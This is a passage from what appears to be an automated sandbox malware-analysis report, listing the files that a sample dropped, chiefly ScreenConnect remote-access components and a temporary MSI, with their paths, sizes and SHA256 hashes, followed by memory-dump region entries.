              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsBackstageShell.exe
              • Size 59KB
              • SHA256 46589e65a4e87dd3ab967e17238bb1102d74e5cf52078b43ca795a67c75ed6d6
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
              • Size 580KB
              • SHA256 54122da1882621af349267b06905b256c1a0b1f571a0e8835ec4b8acc35809a2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
              • Size 581KB
              • SHA256 0b3f3b3ff7b46f3f8e8c884127fa6bf08ab12175d8c7611af53256c310c7be95
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsFileManager.exe

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsFileManager.exe
              • Size 79KB
              • SHA256 41d9790fa15264d6bb65ef678f6418526e8137ce96bb42e65c6f3a03a8edc360
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsFileManager.exe.config

              • Path C:\ProgramData\uhssvc\ScreenConnect.WindowsFileManager.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              Tippikk.TransferGuard.dll

              • Path C:\ProgramData\uhssvc\Tippikk.TransferGuard.dll
              • Size 6KB
              • SHA256 46f563002654f6e064a4680bf82fe21de3812b723a42cec21207d669f395178f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\ProgramData\uhssvc\app.config
              • Size 2KB
              • SHA256 08654ed703d6ec78087da75ed3eb405ef065e4d26f925fda6595b7d5e79986e2
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\ProgramData\uhssvc\system.config
              • Size 528B
              • SHA256 3fd61c797ef50eeee7d95d82a9451d455c1140d166379af9a30a3284aa0a1cd2
              • MD5 SHA1 SHA512 TLSH

              SQLite.Interop.dll

              • Path C:\Users\Admin\AppData\Local\Temp\SQLite.Interop.dll
              • Size 1.7MB
              • SHA256 aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              wu-5de0da790d3441b8a0d6fb1d39a35acf.msi

              • Path C:\Users\Admin\AppData\Local\Temp\wu-5de0da790d3441b8a0d6fb1d39a35acf.msi
              • Size 3.8MB
              • SHA256 f857281c8f97687f85eca93672ddfa550beac45aeef9818b84bab4f36f59af19
              • MD5 SHA1 SHA512 SSDEEP TLSH

              wu_native_msi.log

              • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
              • Size 2B
              • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
              • MD5 SHA1 SHA512

              wu_native_msi.log

              • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
              • Size 6KB
              • SHA256 00a0b83e73508bd48cdea691e4948485ddb4ca63dfc24c4627018419678782f9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              wu_native_msi.log

              • Path C:\Users\Admin\AppData\Local\Temp\wu_native_msi.log
              • Size 6KB
              • SHA256 fa0be0594594cf02cc87ce8fab0a34a9bffcc969f23300fc7c5069cf1f479e43
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI1254.tmp

              • Path C:\Windows\Installer\MSI1254.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI522.tmp

              • Path C:\Windows\Installer\MSI522.tmp
              • Size 325KB
              • SHA256 b3fcbd30c6e05c87caa1850ba6a94c2885dd2f1f5ef3e22bdf2428ddb946489d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI86E.tmp

              • Path C:\Windows\Installer\MSI86E.tmp
              • Size 1.0MB
              • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Windows\Installer\MSI86E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Windows\Installer\MSI86E.tmp-\ScreenConnect.Core.dll
              • Size 539KB
              • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Windows\Installer\MSI86E.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Windows\Installer\MSI86E.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vrgc2zgi.newcfg

              • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\uhssvc\vrgc2zgi.newcfg
              • Size 558B
              • SHA256 e9937634cb11170fc423bf7530b5bd26bc831c90bd56f203912e08389191ff6c
              • MD5 SHA1 SHA512 TLSH

              {e423137b-d9ac-4466-892d-0b84b4283e0f}_OnDiskSnapshotProp

              • Path \??\Volume{e3f46304-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e423137b-d9ac-4466-892d-0b84b4283e0f}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 07d02c74f45574da1606033e1650a7bd35c6b7821b576f8b3e4d5d85a58afb50
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1784-200-0x0000000003820000-0x00000000038B8000-memory.dmp

              memory/1784-201-0x0000000003570000-0x000000000357C000-memory.dmp

              memory/2720-217-0x00000000006F0000-0x0000000000788000-memory.dmp

              memory/2720-218-0x00000000029D0000-0x00000000029DC000-memory.dmp

              memory/2720-219-0x000000001B940000-0x000000001B990000-memory.dmp

              memory/2872-168-0x00000000024D0000-0x00000000024E8000-memory.dmp

              memory/2872-163-0x0000000002500000-0x0000000002536000-memory.dmp

              memory/2872-169-0x000000001B4C0000-0x000000001B4C8000-memory.dmp

              memory/2872-167-0x0000000002490000-0x00000000024A8000-memory.dmp

              memory/2872-166-0x000000001B6B0000-0x000000001B838000-memory.dmp

              memory/2872-165-0x000000001B500000-0x000000001B6AC000-memory.dmp

              memory/2872-164-0x000000001B2C0000-0x000000001B34E000-memory.dmp

              memory/2872-162-0x00000000002C0000-0x0000000000358000-memory.dmp

              memory/3184-60-0x000002B38D0A0000-0x000002B38DA44000-memory.dmp

              memory/3820-7-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-183-0x000001DBEDC70000-0x000001DBEDCDA000-memory.dmp

              memory/3820-187-0x000001DBEDCE0000-0x000001DBEDD07000-memory.dmp

              memory/3820-157-0x000001DBEDB40000-0x000001DBEDB62000-memory.dmp

              memory/3820-10-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-9-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-8-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-11-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-2-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-1-0x000001DBE93F0000-0x000001DBEA022000-memory.dmp

              memory/3820-0-0x00007FFB180CF000-0x00007FFB180D0000-memory.dmp

              memory/3820-225-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/3820-171-0x000001DBEDBF0000-0x000001DBEDC66000-memory.dmp

              memory/3820-186-0x000001DBEDD20000-0x000001DBEDD5A000-memory.dmp

              memory/3820-14-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp

              memory/5404-156-0x0000000004850000-0x0000000004858000-memory.dmp

              memory/5404-154-0x0000000004AC0000-0x0000000004B01000-memory.dmp

              memory/5404-148-0x0000000004870000-0x00000000048C0000-memory.dmp

              memory/5404-155-0x0000000004D50000-0x0000000004E25000-memory.dmp

              memory/5404-152-0x00000000048C0000-0x00000000048F6000-memory.dmp

              memory/5404-153-0x0000000004B60000-0x0000000004BF2000-memory.dmp

              memory/5404-126-0x0000000004600000-0x0000000004618000-memory.dmp

              memory/5960-50-0x0000000005E90000-0x0000000005F1E000-memory.dmp

              memory/5960-42-0x0000000005DB0000-0x0000000005DDE000-memory.dmp

              memory/5960-46-0x0000000005DF0000-0x0000000005DFA000-memory.dmp

              memory/5960-54-0x00000000060D0000-0x000000000627C000-memory.dmp

              memory/5960-55-0x0000000006840000-0x0000000006DFA000-memory.dmp

              memory/6080-196-0x00000000015C0000-0x000000000161E000-memory.dmp

              memory/6080-190-0x00000000007C0000-0x0000000000C9E000-memory.dmp